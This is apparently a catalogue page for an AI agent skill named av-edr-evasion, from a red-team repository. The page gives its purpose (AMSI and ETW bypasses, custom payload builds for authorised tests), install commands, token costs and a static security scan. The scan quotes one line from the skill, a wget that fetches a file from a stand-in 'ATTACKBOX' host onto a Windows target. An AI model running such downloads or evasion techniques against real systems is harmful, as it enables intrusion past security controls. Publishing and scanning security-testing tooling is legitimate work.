av-edr-evasion

av-edr-evasion is a skill for Claude Code, Codex from blacklanternsecurity/red-run. It costs 64 tokens per session (5,666 once invoked), scanned B, original, GPL-3.0.

A set of techniques for testing whether antivirus and EDR, software that detects and responds to suspicious endpoint activity, can detect payloads. It covers alternative payload builds and changes intended to avoid AMSI or ETW detection.

In plain words
What is it for?
For compiling custom payloads in C or Go, testing AMSI bypasses, using shellcode alternatives and examining ETW patching during security assessments.
Why use it?
It helps investigate cases where an authorised test payload is quarantined, blocked or detected before exploitation can be completed.

Skill for Claude CodeCodex

Which agent this was written for is unclear — body not stored (licence); the path alone says nothing.

Good fit For compiling custom payloads in C or Go, testing AMSI bypasses, using shellcode alternatives and examining ETW patching during security assessments.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/blacklanternsecurity/red-run/av-edr-evasion
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add blacklanternsecurity/red-run --skill av-edr-evasion
Clone the repo
git clone --depth 1 https://github.com/blacklanternsecurity/red-run

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for av-edr-evasion

README.md
[![agentmods](https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/av-edr-evasion/github.svg)](https://agentmods.dev/skills/blacklanternsecurity/red-run/av-edr-evasion)
Your own site
<a href="https://agentmods.dev/skills/blacklanternsecurity/red-run/av-edr-evasion"><img src="https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/av-edr-evasion/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for av-edr-evasion

Your own site · 80×15
<a href="https://agentmods.dev/skills/blacklanternsecurity/red-run/av-edr-evasion"><img src="https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/av-edr-evasion.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 64 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 5,666 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00064 $0.05666
Opus 5 $0.00032 $0.02833
Sonnet 5 $0.00013 $0.01133
Haiku 4.5 $0.00006 $0.00567

Measured 10d ago against content hash 7a24a552a7ce, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade B, and why

av-edr-evasion scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

sudo apt install mingw-w64

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O C:\Windows\Temp\file`
skills/evasion/av-edr-evasion/SKILL.md · 646 lines

The source is not reproduced here

Licensed GPL-3.0

The repository is licensed GPL-3.0, which this catalogue does not treat as permission to reproduce the file. Read it at the source.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 10d ago First seen · 646 lines · 64 tokens per session scan B 7a24a552a7ce

Subscribe to this mod's changes

av-edr-evasion is a skill published in the GitHub repository blacklanternsecurity/red-run (269 stars, last pushed 5mo ago), licensed GPL-3.0. It adds 64 tokens to every session and 5,666 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (asks for root, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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